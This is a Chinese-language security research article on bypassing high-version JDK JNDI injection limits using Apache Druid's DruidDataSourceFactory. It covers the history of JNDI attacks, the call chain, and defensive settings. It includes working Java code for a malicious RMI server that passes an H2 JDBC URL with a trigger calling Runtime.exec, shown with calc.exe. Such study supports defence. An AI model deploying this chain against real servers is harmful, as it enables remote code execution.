JNDI jdk高版本绕过—— Druid
字数 1369 2025-08-24 23:51:15
JNDI高版本绕过技术研究:基于Apache Druid的利用链分析
1. JNDI基础概念
JNDI(Java Naming and Directory Interface)是Java命名和目录接口,允许客户端通过不同服务协议获取数据或对象。支持的服务协议包括:
- LDAP
- DNS
- NIS
- RMI
- CORBA
2. JNDI攻击历史演变
2.1 RMI绑定远程对象(早期利用)
- 原理:将RMI远程对象绑定到RMI Registry,客户端lookup()时若本地无Stub类定义,则从远程Codebase加载
- 利用条件:
- 允许访问远程Codebase
- JDK版本低于6u45、7u21(java.rmi.server.useCodebaseOnly限制前)
2.2 RMI绑定Reference加载远程Factory类
- 原理:通过RMI返回JNDI Naming Reference,客户端解码时从指定Codebase加载Factory类
- 利用条件:
- JDK版本低于6u132, 7u122, 8u113(com.sun.jndi.rmi.object.trustURLCodebase限制前)
2.3 LDAP绑定Reference加载远程Factory类
- 原理:通过LDAP返回JNDI Naming Reference,客户端解码时从指定Codebase加载Factory类
- 利用条件:
- JDK版本低于8u191、7u201、6u211(com.sun.jndi.ldap.object.trustURLCodebase限制前)
3. 高版本JDK绕过技术
3.1 本地Factory类利用
- 原理:利用受害者本地CLASSPATH中实现javax.naming.spi.ObjectFactory接口的类
- 常见利用类:org.apache.naming.factory.BeanFactory(Tomcat依赖包中)
3.2 LDAP+反序列化
- 原理:LDAP直接返回恶意序列化对象,利用本地反序列化Gadget
- 限制:需要本地存在可利用的反序列化链
4. Apache Druid利用链分析
4.1 发现过程
- 审计DruidDataSourceFactory类(实现javax.naming.spi.ObjectFactory接口)
- 关键代码功能:
- 创建DataSource
- 可配置password、url、username
- 根据init参数决定是否初始化
4.2 完整调用链
createPhysicalConnection:1663, DruidAbstractDataSource (com.alibaba.druid.pool)
init:914, DruidDataSource (com.alibaba.druid.pool)
config:392, DruidDataSourceFactory (com.alibaba.druid.pool)
createDataSourceInternal:162, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:157, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:331, NamingManager (javax.naming.spi)
4.3 恶意服务端构造
try {
Registry registry = LocateRegistry.createRegistry(8883);
Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS
$$
//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"
$$
\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", JDBC_USER));
ref.add(new StringRefAddr("password", JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("init", "true"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://localhost:8883/zlgExploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
4.4 利用条件
- 客户端本地无可用反序列化Gadget
- 非基于Tomcat的应用环境
- 存在Druid依赖
5. 防御建议
- 升级JDK:使用最新版本JDK(8u191/7u201/6u211以上)
- 设置安全属性:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); - 输入验证:严格验证JNDI lookup参数
- 依赖管理:移除不必要的依赖或使用安全版本
6. 总结
该利用链适用于特定环境:
- 高版本JDK(传统JNDI注入被限制)
- 无Tomcat依赖
- 无可用反序列化链
- 存在Druid依赖
通过利用DruidDataSourceFactory作为本地Factory类,结合JDBC攻击实现命令执行,为高版本JDK环境下的JNDI注入提供了新的攻击面。